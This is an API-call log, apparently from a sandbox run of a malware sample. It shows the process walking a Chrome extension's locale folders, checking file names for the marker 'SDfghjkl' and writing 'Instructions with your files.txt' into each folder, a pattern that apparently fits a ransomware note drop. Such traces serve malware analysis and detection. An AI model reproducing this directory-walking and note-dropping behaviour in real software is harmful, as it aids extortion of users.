[0129.089] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.089] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\..") returned 147
[0129.089] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.089] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 158
[0129.089] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.089] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.089] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 177
[0129.089] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.089] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.090] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.090] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.090] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.090] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.090] CloseHandle (hObject=0x134) returned 1
[0129.090] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.090] GetProcessHeap () returned 0x810000
[0129.091] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.091] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0129.091] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned 144
[0129.091] GetProcessHeap () returned 0x810000
[0129.091] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.091] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*") returned 146
[0129.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.092] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\.") returned 146
[0129.092] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86644070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.092] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\..") returned 147
[0129.092] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.092] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 158
[0129.092] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.092] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86644070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86644070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.092] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 177
[0129.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.092] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.093] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.093] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.093] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.093] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.094] CloseHandle (hObject=0x134) returned 1
[0129.094] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.094] GetProcessHeap () returned 0x810000
[0129.094] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.094] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0129.094] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned 141
[0129.094] GetProcessHeap () returned 0x810000
[0129.094] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.094] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*") returned 143
[0129.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.094] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\.") returned 143
[0129.094] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8666a1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.094] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\..") returned 144
[0129.094] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8668fb60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.094] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 155
[0129.094] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.094] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8668fb60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.094] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\Instructions with your files.txt") returned 174
[0129.094] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.095] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.096] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.096] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.096] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.096] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.096] CloseHandle (hObject=0x134) returned 1
[0129.096] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.096] GetProcessHeap () returned 0x810000
[0129.096] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.096] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0129.096] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned 141
[0129.096] GetProcessHeap () returned 0x810000
[0129.096] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.096] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*") returned 143
[0129.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.097] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\.") returned 143
[0129.097] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86690330, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86690330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.097] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\..") returned 144
[0129.097] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8668fb60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.097] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 155
[0129.097] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.097] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86690330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8668fb60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.097] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\Instructions with your files.txt") returned 174
[0129.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.098] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.099] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.099] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.099] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.099] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.099] CloseHandle (hObject=0x134) returned 1
[0129.099] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
